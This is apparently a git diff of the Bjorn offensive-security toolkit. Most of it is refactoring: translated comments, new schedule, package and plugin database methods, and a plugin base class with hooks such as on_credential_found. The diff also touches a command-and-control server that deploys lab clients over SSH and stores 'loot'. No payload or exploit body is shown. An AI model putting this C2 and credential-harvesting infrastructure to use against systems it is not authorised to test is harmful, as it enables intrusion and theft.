eps = 1e-20
|
||||||
@@ -181,7 +181,7 @@ class BifrostEpoch:
|
|||||||
self.num_slept += inc
|
self.num_slept += inc
|
||||||
|
|
||||||
def next(self):
|
def next(self):
|
||||||
"""Transition to next epoch — compute reward, update streaks, reset counters."""
|
"""Transition to next epoch - compute reward, update streaks, reset counters."""
|
||||||
# Update activity streaks
|
# Update activity streaks
|
||||||
if not self.any_activity and not self.did_handshakes:
|
if not self.any_activity and not self.did_handshakes:
|
||||||
self.inactive_for += 1
|
self.inactive_for += 1
|
||||||
|
|||||||
@@ -1,5 +1,5 @@
|
|||||||
"""
|
"""faces.py - Bifrost ASCII face definitions.
|
||||||
Bifrost — ASCII face definitions.
|
|
||||||
Ported from pwnagotchi/ui/faces.py with full face set.
|
Ported from pwnagotchi/ui/faces.py with full face set.
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|||||||
@@ -1,7 +1,6 @@
|
|||||||
"""
|
"""plugins.py - Bifrost plugin system.
|
||||||
Bifrost — Plugin system.
|
|
||||||
Ported from pwnagotchi/plugins/__init__.py with ThreadPoolExecutor.
|
Ported from pwnagotchi/plugins/__init__.py with ThreadPoolExecutor.
|
||||||
Compatible with existing pwnagotchi plugin files.
|
|
||||||
"""
|
"""
|
||||||
import os
|
import os
|
||||||
import glob
|
import glob
|
||||||
@@ -130,7 +129,7 @@ def load_from_path(path, enabled=()):
|
|||||||
if not path or not os.path.isdir(path):
|
if not path or not os.path.isdir(path):
|
||||||
return loaded
|
return loaded
|
||||||
|
|
||||||
logger.debug("loading plugins from %s — enabled: %s", path, enabled)
|
logger.debug("loading plugins from %s - enabled: %s", path, enabled)
|
||||||
for filename in glob.glob(os.path.join(path, "*.py")):
|
for filename in glob.glob(os.path.join(path, "*.py")):
|
||||||
plugin_name = os.path.basename(filename.replace(".py", ""))
|
plugin_name = os.path.basename(filename.replace(".py", ""))
|
||||||
database[plugin_name] = filename
|
database[plugin_name] = filename
|
||||||
|
|||||||
@@ -1,5 +1,5 @@
|
|||||||
"""
|
"""voice.py - Bifrost voice / status messages.
|
||||||
Bifrost — Voice / status messages.
|
|
||||||
Ported from pwnagotchi/voice.py, uses random choice for personality.
|
Ported from pwnagotchi/voice.py, uses random choice for personality.
|
||||||
"""
|
"""
|
||||||
import random
|
import random
|
||||||
|
|||||||
156
bjorn_plugin.py
Normal file
156
bjorn_plugin.py
Normal file
@@ -0,0 +1,156 @@
|
|||||||
|
"""bjorn_plugin.py - Base class and helpers for Bjorn plugins."""
|
||||||
|
|
||||||
|
import logging
|
||||||
|
from typing import Any, Dict, Optional
|
||||||
|
|
||||||
|
from logger import Logger
|
||||||
|
|
||||||
|
|
||||||
|
class PluginLogger:
|
||||||
|
"""Per-plugin logger that prefixes all messages with the plugin ID.
|
||||||
|
Caches Logger instances by name to prevent handler accumulation on reload."""
|
||||||
|
|
||||||
|
_cache: dict = {} # class-level cache: name -> Logger instance
|
||||||
|
|
||||||
|
def __init__(self, plugin_id: str):
|
||||||
|
name = f"plugin.{plugin_id}"
|
||||||
|
if name not in PluginLogger._cache:
|
||||||
|
PluginLogger._cache[name] = Logger(name=name, level=logging.DEBUG)
|
||||||
|
self._logger = PluginLogger._cache[name]
|
||||||
|
|
||||||
|
def info(self, msg: str):
|
||||||
|
self._logger.info(msg)
|
||||||
|
|
||||||
|
def warning(self, msg: str):
|
||||||
|
self._logger.warning(msg)
|
||||||
|
|
||||||
|
def error(self, msg: str):
|
||||||
|
self._logger.error(msg)
|
||||||
|
|
||||||
|
def debug(self, msg: str):
|
||||||
|
self._logger.debug(msg)
|
||||||
|
|
||||||
|
def success(self, msg: str):
|
||||||
|
self._logger.success(msg)
|
||||||
|
|
||||||
|
|
||||||
|
class BjornPlugin:
|
||||||
|
"""
|
||||||
|
Base class every Bjorn plugin must extend.
|
||||||
|
|
||||||
|
Provides:
|
||||||
|
- Access to shared_data, database, and config
|
||||||
|
- Convenience wrappers for status/progress/comment
|
||||||
|
- Hook methods to override for event-driven behavior
|
||||||
|
- Standard action interface (execute) for action-type plugins
|
||||||
|
|
||||||
|
Usage:
|
||||||
|
class MyPlugin(BjornPlugin):
|
||||||
|
def setup(self):
|
||||||
|
self.log.info("Ready!")
|
||||||
|
|
||||||
|
def on_credential_found(self, cred):
|
||||||
|
self.log.info(f"New cred: {cred}")
|
||||||
|
"""
|
||||||
|
|
||||||
|
def __init__(self, shared_data, meta: dict, config: dict):
|
||||||
|
"""
|
||||||
|
Args:
|
||||||
|
shared_data: The global SharedData singleton.
|
||||||
|
meta: Parsed plugin.json manifest.
|
||||||
|
config: User-editable config values (from DB, merged with schema defaults).
|
||||||
|
"""
|
||||||
|
self.shared_data = shared_data
|
||||||
|
self.meta = meta
|
||||||
|
self.config = config
|
||||||
|
self.db = shared_data.db
|
||||||
|
self.log = PluginLogger(meta.get("id", "unknown"))
|
||||||
|
self.timeout = (meta.get("action") or {}).get("timeout", 300)
|
||||||
|
self._plugin_id = meta.get("id", "unknown")
|
||||||
|
|
||||||
|
# ── Convenience wrappers ─────────────────────────────────────────
|
||||||
|
|
||||||
|
def set_progress(self, pct: str):
|
||||||
|
"""Update the global progress indicator (e.g., '42%')."""
|
||||||
|
self.shared_data.bjorn_progress = pct
|
||||||
|
|
||||||
|
def set_status(self, text: str):
|
||||||
|
"""Update the main status text shown on display and web UI."""
|
||||||
|
self.shared_data.bjorn_status_text = text
|
||||||
|
|
||||||
|
def set_comment(self, **params):
|
||||||
|
"""Update the EPD comment parameters."""
|
||||||
|
self.shared_data.comment_params = params
|
||||||
|
|
||||||
|
# ── Lifecycle ────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
def setup(self) -> None:
|
||||||
|
"""Called once when the plugin is loaded. Override to initialize resources."""
|
||||||
|
pass
|
||||||
|
|
||||||
|
def teardown(self) -> None:
|
||||||
|
"""Called when the plugin is unloaded or Bjorn shuts down. Override to cleanup."""
|
||||||
|
pass
|
||||||
|
|
||||||
|
# ── Action interface (type="action" plugins only) ────────────────
|
||||||
|
|
||||||
|
def execute(self, ip: str, port: str, row: dict, status_key: str) -> str:
|
||||||
|
"""
|
||||||
|
Called by the orchestrator for action-type plugins.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
ip: Target IP address.
|
||||||
|
port: Target port (may be empty string).
|
||||||
|
row: Dict with keys: MAC Address, IPs, Ports, Alive.
|
||||||
|
status_key: Action class name (for status tracking).
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
'success' or 'failed' (string, case-sensitive).
|
||||||
|
"""
|
||||||
|
raise NotImplementedError(
|
||||||
|
f"Plugin {self._plugin_id} is type='action' but does not implement execute()"
|
||||||
|
)
|
||||||
|
|
||||||
|
# ── Hook methods (override selectively) ──────────────────────────
|
||||||
|
|
||||||
|
def on_host_discovered(self, host: dict) -> None:
|
||||||
|
"""Hook: called when a new host is found by the scanner.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
host: Dict with mac_address, ips, hostnames, vendor, etc.
|
||||||
|
"""
|
||||||
|
pass
|
||||||
|
|
||||||
|
def on_credential_found(self, cred: dict) -> None:
|
||||||
|
"""Hook: called when new credentials are discovered.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
cred: Dict with service, mac, ip, user, password, port.
|
||||||
|
"""
|
||||||
|
pass
|
||||||
|
|
||||||
|
def on_vulnerability_found(self, vuln: dict) -> None:
|
||||||
|
"""Hook: called when a new vulnerability is found.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
vuln: Dict with ip, port, cve_id, severity, description.
|
||||||
|
"""
|
||||||
|
pass
|
||||||
|
|
||||||
|
def on_action_complete(self, action_name: str, success: bool, target: dict) -> None:
|
||||||
|
"""Hook: called after any action finishes execution.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
action_name: The b_class of the action that completed.
|
||||||
|
success: True if action returned 'success'.
|
||||||
|
target: Dict with mac, ip, port.
|
||||||
|
"""
|
||||||
|
pass
|
||||||
|
|
||||||
|
def on_scan_complete(self, results: dict) -> None:
|
||||||
|
"""Hook: called after a network scan cycle finishes.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
results: Dict with hosts_found, new_hosts, scan_duration, etc.
|
||||||
|
"""
|
||||||
|
pass
|
||||||
@@ -1,8 +1,6 @@
|
|||||||
#!/usr/bin/env python3
|
#!/usr/bin/env python3
|
||||||
# -*- coding: utf-8 -*-
|
# -*- coding: utf-8 -*-
|
||||||
"""
|
"""c2_manager.py - Command & Control server for multi-agent coordination over SSH."""
|
||||||
c2_manager.py — Professional Command & Control Server
|
|
||||||
"""
|
|
||||||
|
|
||||||
# ==== Stdlib ====
|
# ==== Stdlib ====
|
||||||
import base64
|
import base64
|
||||||
@@ -28,7 +26,7 @@ import paramiko
|
|||||||
from cryptography.fernet import Fernet, InvalidToken
|
from cryptography.fernet import Fernet, InvalidToken
|
||||||
|
|
||||||
# ==== Project ====
|
# ==== Project ====
|
||||||
from init_shared import shared_data # requis (non optionnel)
|
from init_shared import shared_data # required
|
||||||
from logger import Logger
|
from logger import Logger
|
||||||
|
|
||||||
# -----------------------------------------------------
|
# -----------------------------------------------------
|
||||||
@@ -38,19 +36,15 @@ BASE_DIR = Path(__file__).resolve().parent
|
|||||||
|
|
||||||
def _resolve_data_root() -> Path:
|
def _resolve_data_root() -> Path:
|
||||||
"""
|
"""
|
||||||
Résout le répertoire racine des données pour le C2, sans crasher
|
Resolve C2 data root directory without crashing if shared_data isn't ready.
|
||||||
si shared_data n'a pas encore data_dir prêt.
|
Priority: shared_data.data_dir > $BJORN_DATA_DIR > BASE_DIR (local fallback)
|
||||||
Ordre de priorité :
|
|
||||||
1) shared_data.data_dir si présent
|
|
||||||
2) $BJORN_DATA_DIR si défini
|
|
||||||
3) BASE_DIR (fallback local)
|
|
||||||
"""
|
"""
|
||||||
sd_dir = getattr(shared_data, "data_dir", None)
|
sd_dir = getattr(shared_data, "data_dir", None)
|
||||||
if sd_dir:
|
if sd_dir:
|
||||||
try:
|
try:
|
||||||
return Path(sd_dir)
|
return Path(sd_dir)
|
||||||
except Exception:
|
except Exception:
|
||||||
pass # garde un fallback propre
|
pass # clean fallback
|
||||||
|
|
||||||
env_dir = os.getenv("BJORN_DATA_DIR")
|
env_dir = os.getenv("BJORN_DATA_DIR")
|
||||||
if env_dir:
|
if env_dir:
|
||||||
@@ -63,22 +57,20 @@ def _resolve_data_root() -> Path:
|
|||||||
|
|
||||||
DATA_ROOT: Path = _resolve_data_root()
|
DATA_ROOT: Path = _resolve_data_root()
|
||||||
|
|
||||||
# Sous-dossiers C2
|
# C2 subdirectories
|
||||||
DATA_DIR: Path = DATA_ROOT / "c2_data"
|
DATA_DIR: Path = DATA_ROOT / "c2_data"
|
||||||
LOOT_DIR: Path = DATA_DIR / "loot"
|
LOOT_DIR: Path = DATA_DIR / "loot"
|
||||||
CLIENTS_DIR: Path = DATA_DIR / "clients"
|
CLIENTS_DIR: Path = DATA_DIR / "clients"
|
||||||
LOGS_DIR: Path = DATA_DIR / "logs"
|
LOGS_DIR: Path = DATA_DIR / "logs"
|
||||||
|
|
||||||
# Timings
|
# Timings
|
||||||
HEARTBEAT_INTERVAL: int = 20 # secondes
|
HEARTBEAT_INTERVAL: int = 20 # seconds
|
||||||
OFFLINE_THRESHOLD: int = HEARTBEAT_INTERVAL * 3 # 60s sans heartbeat
|
OFFLINE_THRESHOLD: int = HEARTBEAT_INTERVAL * 3 # 60s sans heartbeat
|
||||||
|
|
||||||
# Création arborescence (idempotente) — OK à l'import, coût faible
|
# Create directory tree (idempotent) - safe at import time, low cost
|
||||||
for directory in (DATA_DIR, LOOT_DIR, CLIENTS_DIR, LOGS_DIR):
|
for directory in (DATA_DIR, LOOT_DIR, CLIENTS_DIR, LOGS_DIR):
|
||||||
directory.mkdir(parents=True, exist_ok=True)
|
directory.mkdir(parents=True, exist_ok=True)
|
||||||
|
|
||||||
# (Optionnel) Prépare un logger si besoin tout de suite
|
|
||||||
# logger = Logger("c2_manager").get_logger()
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
@@ -137,7 +129,7 @@ class EventBus:
|
|||||||
# ============= Client Templates =============
|
# ============= Client Templates =============
|
||||||
CLIENT_TEMPLATES = {
|
CLIENT_TEMPLATES = {
|
||||||
'universal': Template(r"""#!/usr/bin/env python3
|
'universal': Template(r"""#!/usr/bin/env python3
|
||||||
# Lab client (Zombieland) — use only in controlled environments
|
# Lab client (Zombieland) - use only in controlled environments
|
||||||
import socket, json, os, platform, subprocess, threading, time, base64, struct, sys
|
import socket, json, os, platform, subprocess, threading, time, base64, struct, sys
|
||||||
from pathlib import Path
|
from pathlib import Path
|
||||||
|
|
||||||
@@ -924,7 +916,7 @@ class C2Manager:
|
|||||||
lab_user: str = "testuser", lab_password: str = "testpass") -> dict:
|
lab_user: str = "testuser", lab_password: str = "testpass") -> dict:
|
||||||
"""Generate new client script"""
|
"""Generate new client script"""
|
||||||
try:
|
try:
|
||||||
# Generate Fernet key (base64) and l'enregistrer en DB (rotation si besoin)
|
# Generate Fernet key (base64) and store in DB (rotate if existing)
|
||||||
key_b64 = Fernet.generate_key().decode()
|
key_b64 = Fernet.generate_key().decode()
|
||||||
if self.db.get_active_key(client_id):
|
if self.db.get_active_key(client_id):
|
||||||
self.db.rotate_key(client_id, key_b64)
|
self.db.rotate_key(client_id, key_b64)
|
||||||
@@ -969,7 +961,7 @@ class C2Manager:
|
|||||||
ssh_pass: str, **kwargs) -> dict:
|
ssh_pass: str, **kwargs) -> dict:
|
||||||
"""Deploy client via SSH"""
|
"""Deploy client via SSH"""
|
||||||
try:
|
try:
|
||||||
# S'assurer qu'une clé active existe (sinon générer le client)
|
# Ensure an active key exists (generate client otherwise)
|
||||||
if not self.db.get_active_key(client_id):
|
if not self.db.get_active_key(client_id):
|
||||||
result = self.generate_client(
|
result = self.generate_client(
|
||||||
client_id,
|
client_id,
|
||||||
@@ -1028,7 +1020,7 @@ class C2Manager:
|
|||||||
if client_id in self._clients:
|
if client_id in self._clients:
|
||||||
self._disconnect_client(client_id)
|
self._disconnect_client(client_id)
|
||||||
|
|
||||||
# Révoquer les clés actives en DB
|
# Revoke active keys in DB
|
||||||
try:
|
try:
|
||||||
self.db.revoke_keys(client_id)
|
self.db.revoke_keys(client_id)
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
@@ -1095,7 +1087,7 @@ class C2Manager:
|
|||||||
|
|
||||||
client_id = client_id_bytes.decode().strip()
|
client_id = client_id_bytes.decode().strip()
|
||||||
|
|
||||||
# Récupérer la clé active depuis la DB
|
# Retrieve the active key from DB
|
||||||
active_key = self.db.get_active_key(client_id)
|
active_key = self.db.get_active_key(client_id)
|
||||||
if not active_key:
|
if not active_key:
|
||||||
self.logger.warning(f"Unknown client or no active key: {client_id} from {addr[0]}")
|
self.logger.warning(f"Unknown client or no active key: {client_id} from {addr[0]}")
|
||||||
@@ -1163,7 +1155,7 @@ class C2Manager:
|
|||||||
break
|
break
|
||||||
self._process_client_message(client_id, data)
|
self._process_client_message(client_id, data)
|
||||||
except OSError as e:
|
except OSError as e:
|
||||||
# socket fermé (remove_client) → on sort sans bruit
|
# Socket closed (remove_client) - exit silently
|
||||||
break
|
break
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
self.logger.error(f"Client loop error for {client_id}: {e}")
|
self.logger.error(f"Client loop error for {client_id}: {e}")
|
||||||
@@ -1248,13 +1240,13 @@ class C2Manager:
|
|||||||
self._handle_loot(client_id, data['download'])
|
self._handle_loot(client_id, data['download'])
|
||||||
|
|
||||||
elif 'result' in data:
|
elif 'result' in data:
|
||||||
# >>> ici on enregistre avec la vraie commande
|
# Store result with the actual command
|
||||||
self.db.save_command(client_id, last_cmd or '<unknown>', result, True)
|
self.db.save_command(client_id, last_cmd or '<unknown>', result, True)
|
||||||
self.bus.emit({"type": "console", "target": client_id, "text": str(result), "kind": "RX"})
|
self.bus.emit({"type": "console", "target": client_id, "text": str(result), "kind": "RX"})
|
||||||
|
|
||||||
elif 'error' in data:
|
elif 'error' in data:
|
||||||
error = data['error']
|
error = data['error']
|
||||||
# >>> idem pour error
|
# Same for errors
|
||||||
self.db.save_command(client_id, last_cmd or '<unknown>', error, False)
|
self.db.save_command(client_id, last_cmd or '<unknown>', error, False)
|
||||||
self.bus.emit({"type": "console", "target": client_id, "text": f"ERROR: {error}", "kind": "RX"})
|
self.bus.emit({"type": "console", "target": client_id, "text": f"ERROR: {error}", "kind": "RX"})
|
||||||
|
|
||||||
@@ -1308,10 +1300,10 @@ class C2Manager:
|
|||||||
with self._lock:
|
with self._lock:
|
||||||
client = self._clients.get(client_id)
|
client = self._clients.get(client_id)
|
||||||
if client:
|
if client:
|
||||||
# signale aux boucles de s'arrêter proprement
|
# Signal loops to stop cleanly
|
||||||
client['info']['closing'] = True
|
client['info']['closing'] = True
|
||||||
|
|
||||||
# fermer proprement le socket
|
# Cleanly close the socket
|
||||||
try:
|
try:
|
||||||
client['sock'].shutdown(socket.SHUT_RDWR)
|
client['sock'].shutdown(socket.SHUT_RDWR)
|
||||||
except Exception:
|
except Exception:
|
||||||
|
|||||||
45
comment.py
45
comment.py
@@ -1,8 +1,4 @@
|
|||||||
# comment.py
|
"""comment.py - Contextual display messages with DB-backed templates and i18n support."""
|
||||||
# Comments manager with database backend
|
|
||||||
# Provides contextual messages for display with timing control and multilingual support.
|
|
||||||
# comment = ai.get_comment("SSHBruteforce", params={"user": "pi", "ip": "192.168.0.12"})
|
|
||||||
# Avec un texte DB du style: "Trying {user}@{ip} over SSH..."
|
|
||||||
|
|
||||||
import os
|
import os
|
||||||
import time
|
import time
|
||||||
@@ -154,34 +150,41 @@ class CommentAI:
|
|||||||
# --- Bootstrapping DB -----------------------------------------------------
|
# --- Bootstrapping DB -----------------------------------------------------
|
||||||
|
|
||||||
def _ensure_comments_loaded(self):
|
def _ensure_comments_loaded(self):
|
||||||
"""Ensure comments are present in DB; import JSON if empty."""
|
"""Import all comments.*.json files on every startup (dedup via UNIQUE index)."""
|
||||||
try:
|
import glob as _glob
|
||||||
comment_count = int(self.shared_data.db.count_comments())
|
|
||||||
except Exception as e:
|
|
||||||
logger.error(f"Database error counting comments: {e}")
|
|
||||||
comment_count = 0
|
|
||||||
|
|
||||||
if comment_count > 0:
|
default_dir = getattr(self.shared_data, "default_comments_dir", "") or ""
|
||||||
logger.debug(f"Comments already in database: {comment_count}")
|
if not default_dir or not os.path.isdir(default_dir):
|
||||||
|
logger.debug("No default_comments_dir, seeding minimal fallback set")
|
||||||
|
self._seed_minimal_comments()
|
||||||
return
|
return
|
||||||
|
|
||||||
|
# Glob all comments JSON files: comments.en.json, comments.fr.json, etc.
|
||||||
|
pattern = os.path.join(default_dir, "comments.*.json")
|
||||||
|
json_files = sorted(_glob.glob(pattern))
|
||||||
|
|
||||||
|
# Also check for a bare comments.json
|
||||||
|
bare = os.path.join(default_dir, "comments.json")
|
||||||
|
if os.path.exists(bare) and bare not in json_files:
|
||||||
|
json_files.insert(0, bare)
|
||||||
|
|
||||||
imported = 0
|
imported = 0
|
||||||
for lang in self._lang_priority():
|
for json_path in json_files:
|
||||||
for json_path in self._get_comments_json_paths(lang):
|
|
||||||
if os.path.exists(json_path):
|
|
||||||
try:
|
try:
|
||||||
count = int(self.shared_data.db.import_comments_from_json(json_path))
|
count = int(self.shared_data.db.import_comments_from_json(json_path))
|
||||||
imported += count
|
imported += count
|
||||||
if count > 0:
|
if count > 0:
|
||||||
logger.info(f"Imported {count} comments (auto-detected lang) from {json_path}")
|
logger.info(f"Imported {count} comments from {json_path}")
|
||||||
break # stop at first successful import
|
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
logger.error(f"Failed to import comments from {json_path}: {e}")
|
logger.error(f"Failed to import comments from {json_path}: {e}")
|
||||||
if imported > 0:
|
|
||||||
break
|
|
||||||
|
|
||||||
if imported == 0:
|
if imported == 0:
|
||||||
logger.debug("No comments imported, seeding minimal fallback set")
|
# Nothing new imported - check if DB is empty and seed fallback
|
||||||
|
try:
|
||||||
|
if int(self.shared_data.db.count_comments()) == 0:
|
||||||
|
logger.debug("No comments in DB, seeding minimal fallback set")
|
||||||
|
self._seed_minimal_comments()
|
||||||
|
except Exception:
|
||||||
self._seed_minimal_comments()
|
self._seed_minimal_comments()
|
||||||
|
|
||||||
|
|
||||||
|
|||||||
@@ -1,21 +1,4 @@
|
|||||||
"""
|
"""data_consolidator.py - Aggregate logged features into training-ready datasets for export."""
|
||||||
data_consolidator.py - Data Consolidation Engine for Deep Learning
|
|
||||||
═══════════════════════════════════════════════════════════════════════════
|
|
||||||
|
|
||||||
Purpose:
|
|
||||||
Consolidate logged features into training-ready datasets.
|
|
||||||
Prepare data exports for deep learning on external PC.
|
|
||||||
|
|
||||||
Features:
|
|
||||||
- Aggregate features across time windows
|
|
||||||
- Compute statistical features
|
|
||||||
- Create feature vectors for neural networks
|
|
||||||
- Export in formats ready for TensorFlow/PyTorch
|
|
||||||
- Incremental consolidation (low memory footprint)
|
|
||||||
|
|
||||||
Author: Bjorn Team
|
|
||||||
Version: 2.0.0
|
|
||||||
"""
|
|
||||||
|
|
||||||
import json
|
import json
|
||||||
import csv
|
import csv
|
||||||
@@ -195,7 +178,7 @@ class DataConsolidator:
|
|||||||
Computes statistical features and feature vectors.
|
Computes statistical features and feature vectors.
|
||||||
"""
|
"""
|
||||||
try:
|
try:
|
||||||
# Parse JSON fields once — reused by _build_feature_vector to avoid double-parsing
|
# Parse JSON fields once - reused by _build_feature_vector to avoid double-parsing
|
||||||
host_features = json.loads(record.get('host_features', '{}'))
|
host_features = json.loads(record.get('host_features', '{}'))
|
||||||
network_features = json.loads(record.get('network_features', '{}'))
|
network_features = json.loads(record.get('network_features', '{}'))
|
||||||
temporal_features = json.loads(record.get('temporal_features', '{}'))
|
temporal_features = json.loads(record.get('temporal_features', '{}'))
|
||||||
@@ -209,7 +192,7 @@ class DataConsolidator:
|
|||||||
**action_features
|
**action_features
|
||||||
}
|
}
|
||||||
|
|
||||||
# Build numerical feature vector — pass already-parsed dicts to avoid re-parsing
|
# Build numerical feature vector - pass already-parsed dicts to avoid re-parsing
|
||||||
feature_vector = self._build_feature_vector(
|
feature_vector = self._build_feature_vector(
|
||||||
host_features, network_features, temporal_features, action_features
|
host_features, network_features, temporal_features, action_features
|
||||||
)
|
)
|
||||||
@@ -484,7 +467,7 @@ class DataConsolidator:
|
|||||||
else:
|
else:
|
||||||
raise ValueError(f"Unsupported format: {format}")
|
raise ValueError(f"Unsupported format: {format}")
|
||||||
|
|
||||||
# Free the large records list immediately after export — record_ids is all we still need
|
# Free the large records list immediately after export - record_ids is all we still need
|
||||||
del records
|
del records
|
||||||
|
|
||||||
# AI-01: Write feature manifest with variance-filtered feature names
|
# AI-01: Write feature manifest with variance-filtered feature names
|
||||||
|
|||||||
50
database.py
50
database.py
@@ -1,6 +1,4 @@
|
|||||||
# database.py
|
"""database.py - Main database facade, delegates to specialized modules in db_utils/."""
|
||||||
# Main database facade - delegates to specialized modules in db_utils/
|
|
||||||
# Maintains backward compatibility with existing code
|
|
||||||
|
|
||||||
import os
|
import os
|
||||||
from typing import Any, Dict, Iterable, List, Optional, Tuple
|
from typing import Any, Dict, Iterable, List, Optional, Tuple
|
||||||
@@ -29,6 +27,9 @@ from db_utils.webenum import WebEnumOps
|
|||||||
from db_utils.sentinel import SentinelOps
|
from db_utils.sentinel import SentinelOps
|
||||||
from db_utils.bifrost import BifrostOps
|
from db_utils.bifrost import BifrostOps
|
||||||
from db_utils.loki import LokiOps
|
from db_utils.loki import LokiOps
|
||||||
|
from db_utils.schedules import ScheduleOps
|
||||||
|
from db_utils.packages import PackageOps
|
||||||
|
from db_utils.plugins import PluginOps
|
||||||
|
|
||||||
logger = Logger(name="database.py", level=logging.DEBUG)
|
logger = Logger(name="database.py", level=logging.DEBUG)
|
||||||
|
|
||||||
@@ -67,6 +68,9 @@ class BjornDatabase:
|
|||||||
self._sentinel = SentinelOps(self._base)
|
self._sentinel = SentinelOps(self._base)
|
||||||
self._bifrost = BifrostOps(self._base)
|
self._bifrost = BifrostOps(self._base)
|
||||||
self._loki = LokiOps(self._base)
|
self._loki = LokiOps(self._base)
|
||||||
|
self._schedules = ScheduleOps(self._base)
|
||||||
|
self._packages = PackageOps(self._base)
|
||||||
|
self._plugins = PluginOps(self._base)
|
||||||
|
|
||||||
# Ensure schema is created
|
# Ensure schema is created
|
||||||
self.ensure_schema()
|
self.ensure_schema()
|
||||||
@@ -147,6 +151,9 @@ class BjornDatabase:
|
|||||||
self._sentinel.create_tables()
|
self._sentinel.create_tables()
|
||||||
self._bifrost.create_tables()
|
self._bifrost.create_tables()
|
||||||
self._loki.create_tables()
|
self._loki.create_tables()
|
||||||
|
self._schedules.create_tables()
|
||||||
|
self._packages.create_tables()
|
||||||
|
self._plugins.create_tables()
|
||||||
|
|
||||||
# Initialize stats singleton
|
# Initialize stats singleton
|
||||||
self._stats.ensure_stats_initialized()
|
self._stats.ensure_stats_initialized()
|
||||||
@@ -392,6 +399,43 @@ class BjornDatabase:
|
|||||||
def delete_script(self, name: str) -> None:
|
def delete_script(self, name: str) -> None:
|
||||||
return self._scripts.delete_script(name)
|
return self._scripts.delete_script(name)
|
||||||
|
|
||||||
|
# Schedule operations
|
||||||
|
def add_schedule(self, *a, **kw): return self._schedules.add_schedule(*a, **kw)
|
||||||
|
def update_schedule(self, *a, **kw): return self._schedules.update_schedule(*a, **kw)
|
||||||
|
def delete_schedule(self, *a, **kw): return self._schedules.delete_schedule(*a, **kw)
|
||||||
|
def list_schedules(self, *a, **kw): return self._schedules.list_schedules(*a, **kw)
|
||||||
|
def get_schedule(self, *a, **kw): return self._schedules.get_schedule(*a, **kw)
|
||||||
|
def get_due_schedules(self): return self._schedules.get_due_schedules()
|
||||||
|
def mark_schedule_run(self, *a, **kw): return self._schedules.mark_schedule_run(*a, **kw)
|
||||||
|
def toggle_schedule(self, *a, **kw): return self._schedules.toggle_schedule(*a, **kw)
|
||||||
|
|
||||||
|
# Trigger operations
|
||||||
|
def add_trigger(self, *a, **kw): return self._schedules.add_trigger(*a, **kw)
|
||||||
|
def update_trigger(self, *a, **kw): return self._schedules.update_trigger(*a, **kw)
|
||||||
|
def delete_trigger(self, *a, **kw): return self._schedules.delete_trigger(*a, **kw)
|
||||||
|
def list_triggers(self, *a, **kw): return self._schedules.list_triggers(*a, **kw)
|
||||||
|
def get_trigger(self, *a, **kw): return self._schedules.get_trigger(*a, **kw)
|
||||||
|
def get_active_triggers(self): return self._schedules.get_active_triggers()
|
||||||
|
def mark_trigger_fired(self, *a, **kw): return self._schedules.mark_trigger_fired(*a, **kw)
|
||||||
|
def is_trigger_on_cooldown(self, *a, **kw): return self._schedules.is_trigger_on_cooldown(*a, **kw)
|
||||||
|
|
||||||
|
# Package operations
|
||||||
|
def add_package(self, *a, **kw): return self._packages.add_package(*a, **kw)
|
||||||
|
def remove_package(self, *a, **kw): return self._packages.remove_package(*a, **kw)
|
||||||
|
def list_packages(self): return self._packages.list_packages()
|
||||||
|
def get_package(self, *a, **kw): return self._packages.get_package(*a, **kw)
|
||||||
|
|
||||||
|
# Plugin operations
|
||||||
|
def get_plugin_config(self, *a, **kw): return self._plugins.get_plugin_config(*a, **kw)
|
||||||
|
def save_plugin_config(self, *a, **kw): return self._plugins.save_plugin_config(*a, **kw)
|
||||||
|
def upsert_plugin(self, *a, **kw): return self._plugins.upsert_plugin(*a, **kw)
|
||||||
|
def delete_plugin(self, *a, **kw): return self._plugins.delete_plugin(*a, **kw)
|
||||||
|
def list_plugins_db(self): return self._plugins.list_plugins()
|
||||||
|
def set_plugin_enabled(self, *a, **kw): return self._plugins.set_plugin_enabled(*a, **kw)
|
||||||
|
def set_plugin_hooks(self, *a, **kw): return self._plugins.set_plugin_hooks(*a, **kw)
|
||||||
|
def get_hooks_for_event(self, *a, **kw): return self._plugins.get_hooks_for_event(*a, **kw)
|
||||||
|
def get_hooks_for_plugin(self, *a, **kw): return self._plugins.get_hooks_for_plugin(*a, **kw)
|
||||||
|
|
||||||
# Stats operations
|
# Stats operations
|
||||||
def get_livestats(self) -> Dict[str, int]:
|
def get_livestats(self) -> Dict[str, int]:
|
||||||
return self._stats.get_livestats()
|
return self._stats.get_livestats()
|
||||||
|
|||||||
@@ -1,5 +1,4 @@
|
|||||||
# db_utils/__init__.py
|
"""__init__.py - Database utilities package."""
|
||||||
# Database utilities package
|
|
||||||
|
|
||||||
from .base import DatabaseBase
|
from .base import DatabaseBase
|
||||||
from .config import ConfigOps
|
from .config import ConfigOps
|
||||||
@@ -17,6 +16,8 @@ from .comments import CommentOps
|
|||||||
from .agents import AgentOps
|
from .agents import AgentOps
|
||||||
from .studio import StudioOps
|
from .studio import StudioOps
|
||||||
from .webenum import WebEnumOps
|
from .webenum import WebEnumOps
|
||||||
|
from .schedules import ScheduleOps
|
||||||
|
from .packages import PackageOps
|
||||||
|
|
||||||
__all__ = [
|
__all__ = [
|
||||||
'DatabaseBase',
|
'DatabaseBase',
|
||||||
@@ -35,4 +36,6 @@ __all__ = [
|
|||||||
'AgentOps',
|
'AgentOps',
|
||||||
'StudioOps',
|
'StudioOps',
|
||||||
'WebEnumOps',
|
'WebEnumOps',
|
||||||
|
'ScheduleOps',
|
||||||
|
'PackageOps',
|
||||||
]
|
]
|
||||||
|
|||||||
@@ -1,5 +1,4 @@
|
|||||||
# db_utils/actions.py
|
"""actions.py - Action definition and management operations."""
|
||||||
# Action definition and management operations
|
|
||||||
|
|
||||||
import json
|
import json
|
||||||
import sqlite3
|
import sqlite3
|
||||||
@@ -256,7 +255,7 @@ class ActionOps:
|
|||||||
out = []
|
out = []
|
||||||
for r in rows:
|
